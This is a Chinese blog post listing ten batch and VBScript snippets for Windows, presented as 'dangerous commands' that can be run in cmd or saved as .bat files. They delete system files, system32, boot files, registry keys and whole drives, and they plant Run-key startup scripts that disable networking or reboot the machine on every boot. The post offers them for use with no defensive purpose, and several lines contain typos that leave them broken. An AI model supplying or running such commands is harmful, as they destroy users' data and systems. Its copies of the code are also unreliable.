记dos十个危险指令代码

在B站看到的一个YouTube转载视频https://www.bilibili.com/video/BV1Z44113733/?spm_id_from=333.788.videocard.12,YouTube原视频已经被删除了,是十个dos的指令,基本是删除或修改系统的关键文件。写在bat里或直接在cmd运行都可以。

  1. 蓝屏死机(删除所有驱动)
@echo off
del %windowsdrive%\*.*/f/s/q 
shutdown -s -f -t 0

原视频里是systemdrive
  1. 更改文件后缀名
 Ren *.doc *.txt
 Ren *.jpeg *.txt 
 Ren *.lnk *.txt 
 Ren *.avi *.txt 
 Ren *.mpeg *.txt 
 Ren *.com *.txt 
 Ren *.bat *.txt
  1. 删除system32
Del c:\windows\system32\*.* /q
  1. 使PC永久崩溃
@echo off 
 Attrib -r -s -h c:\autoexec.bat 
 Del c:\autoexec.bat 
 Attrib -r -s -h c:\boot.ini 
 Del c:\boot.ini 
 Attrib -r -s -h c:\ntldr 
 Del c:\ ntldr 
 Attrib -r -s -h c:\windows\win.ini 
 Del c:\windows\win.ini
  1. 删除所有的注册表
@echo off 
Start reg delete HKCR/.exe 
Start reg delete HKCR/.dll 
Start reg delete HKCR/*
  1. 永久禁用网络
echo @echo off>c:\windows\wimn32.bat 
echo break off>>c:\windows\wimn32.bat 
echo ipconfig/release_all>>c:\windowswimn32.bat 
echo end>>c:\windows\wimn32.bat 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVision\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f 
Pause
  1. 一直按回车

(这个要保存为.vbs)

 Set wshShell=wscript.CreateObject("WScript.Shell") 
 do
 wscript.sleep 100 
 wshshell.sendkeys"~(enter)" 
 loop
  1. 启动电脑后自动关机
echo @echo off>c:\Windows\hartlell.bat 
echo break off>>c:\Windows\hartlell.bat 
echo shutdown -r -t 11 -f>>c:\Windows\hartlell.bat 
echo end>>c:\Windows\hartlell.bat 
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windwos\CurrentVersion\Run /v startAPI /t reg_sz /d c:\Windows\hartlell.bat /f 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v /t reg_sz /d c:\Windows\hartlell.bat /f 
pause

9 开启CD蜂鸣器

(这个也是.vbs格式)

Set oWMP=CreateObject("WMPlayer.OCX.7") 
Set colCDROMs=oWMP.cdromCollection 
do
if colCDROMs.Count>=1 then 
For i=0 to colCDROMs.Count -1 
colCDROMs.Item(i).Eject 
Next 
For i=0 to colCDROMs.Count -1 
colCDROMs.Item(i).Eject 
Next 
End If wscript.sleep 100
loop 
  1. 格式化硬盘
 rd/s/q D:\ 
 rd/s/q C:\ 
 rd/s/q E:\
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值